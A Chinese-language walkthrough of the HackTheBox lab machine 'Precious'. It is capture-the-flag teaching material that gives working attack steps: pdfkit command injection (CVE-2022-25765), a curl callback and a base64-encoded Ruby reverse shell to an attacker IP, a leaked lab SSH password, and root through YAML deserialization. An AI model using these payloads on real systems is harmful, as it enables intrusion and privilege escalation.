Skip to content

Precious

2022 年 11 月 15 日 / 文件编号 D22.100.213 编制者:C4rm3l0 机器作者:Nauten 难度:简单 分类:官方

概要

Precious 是一款 Easy Difficulty Linux 机器,专注于 Ruby 语言。 它托管一个自定义的 Ruby Web 应用程序,使用一个过时的库,即 pdfkit,它容易受到 CVE-2022-25765 的攻击,导致目标机器上的初始 shell。 在使用在 Gem 存储库配置文件中找到的明文凭据进行透视后,该框以对自定义、过时的 Ruby 脚本的不安全反序列化攻击结束。

所需技能

基本网页枚举

学到的技能

命令注入 分析和识别易受攻击的 Ruby 代码

枚举

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.189 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.189

image-20230614223656327

初始 Nmap 扫描显示标准 SSH 服务,以及在其默认端口上运行的 Nginx Web 服务器,后者似乎正在运行 Phusion Passenger,它本身就是一个 Web 服务器,旨在与其他服务集成,例如 Apache,或在本例中为 Nginx。

HTTP

导航到端口 80 会显示一个 Web 应用程序,它似乎可以将网页转换为 PDF。

image-20230614223851652

当使用浏览器的开发人员控制台或 BurpSuite 等代理分析请求的响应标头时,我们可以看到 X-Runtime 标头被设置为 Ruby ,表明 Phusion Passenger 在这种情况下正在运行 Ruby Web 应用程序。

image-20230614224001590

在获得有效 URL 后,应用程序获取它并继续生成具有随机名称的 PDF,例如 h2a0s6epa7r6phot1krfa646s4gk8gof.pdf 。 我们使用 exiftool 分析文档的 Exif 元数据,以寻找有关后端发生的事情的任何潜在线索。

image-20230614224126602

Creator 标签设置为 pdfkit v0.8.6 ,表示这是生成文件的库。 快速搜索名称和版本会产生一个公共存储库,随后会产生一个相关的安全建议,其中包括有用的参考资料,其中包括一个 [PoC]()。 当库的实现允许用户访问查询字符串参数时,就会出现漏洞,因为随后可以使用 shell 命令替换字符串注入代码。

鉴于我们提供的 URL 很可能是通过该库传递的,我们尝试文章中的有效负载:

image-20230614224345714

似乎在幕后发生了更多验证,我们必须绕过这些验证。我们尝试使用语法上有效的 URL 的有效载荷,其有效载荷指向我们使用 Python 启动的网络服务器。

http://test.local/%20`curl http://10.10.14.40/test`

image-20230614224536001

我们成功地在我们的 HTTP 服务器上收到一个回调,验证我们在目标机器上有 RCE。

突破口

鉴于 Web 应用程序由 Ruby 提供支持,我们也将选择 Ruby 有效负载,尽管 Bash 工作得同样好。 使用 revshells,我们可以快速创建自定义有效负载并选择编码; 在这种情况下, Base64

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'

我们在端口 4444 上启动一个 Netcat 侦听器,并在 Web 应用程序上提交有效负载.

http://test.local/%20`echo
cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTA
uMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash`

image-20230614224906725

We successfully receive a shell as ruby .

横向移动

我们使用 Python 将 shell 升级为 TTY shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

枚举我们用户的主目录会显示一个 .bundle 目录,该目录通常托管 Gem 和其他 Ruby 存储库使用的配置文件。

image-20230614225350104

在上述目录中,我们可以找到一个配置文件,其中显示了 henry 用户的一些纯文本凭据。 此配置文件通常存储捆绑器选项,允许用户保存每个 Gem 源的凭据。 重复使用密码从来都不是一个好主意,在这种情况下,这种泄漏使我们可以通过 SSH 访问 henry 用户。

image-20230614225457113

我们现在可以使用凭据 henry:Q3c1AqGHtoI0aXAYFH 通过 SSH 进入该框,并在 /home/henry/user.txt 获取用户标志。

权限提升

枚举目标机器时要采取的首要步骤之一是检查给定用户的潜在 sudo 权限。 在这种情况下,这样做会显示一个 Ruby 脚本的 sudo 条目。

image-20230614225618982

我们检查源代码以了解此脚本的功能。

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
...

该脚本读取 dependencies.yml 的内容,然后检查指定的版本是否与系统上全局安装的版本相同。 运行脚本揭示了一个重要信息:

image-20230614225744171

我们在源码中也可以看到,dependencies.yml是相对引用的,也就是没有指定绝对路径,这也是为什么程序执行的时候会在当前目录下寻找文件。 鉴于我们现在已经验证我们可以控制这部分代码,我们在负责加载文件的 YAML 模块中搜索潜在漏洞。

查看 Ruby docs,我们已经找到了有关通过 YAML 加载不受信任数据的安全隐患的参考:

该模块为 YAML 格式的数据序列化提供了一个 Ruby 接口。

安全: 不要使用 YAML 加载不受信任的数据。 这样做是不安全的,并且可能允许恶意输入在您的应用程序中执行任意代码。 请参阅 doc/security.rdoc 了解更多信息。

搜索 Ruby 反序列化会产生一个流行的存储库,其中包含一系列对我们的实践有用的有效负载;它们都绑定到 2.0 和 3.0 之间的版本,所以我们首先检查目标机器运行的是什么版本。

image-20230614230131549

看起来这个版本容易受到上述存储库中后一个有效负载的攻击,因此我们将其粘贴到 /tmp 目录中的 dependencies.yml 文件中.

image-20230614230157228

运行脚本验证了这个理论,因为 id 命令成功执行.

现在,我们可以通过将 dependencies.yml 文件中的 git_set 标记从 id 更改为我们的有效载荷,来注入我们最初用于获取 reverse shell 以获取 root shell 的相同 Ruby 有效载荷。

image-20230614230441400

我们再次在端口 4444 上设置监听器,并再次运行脚本.

image-20230614230502300

我们得到一个回调并成功地 root 了盒子。最终标志可以在 /root/root.txt 找到。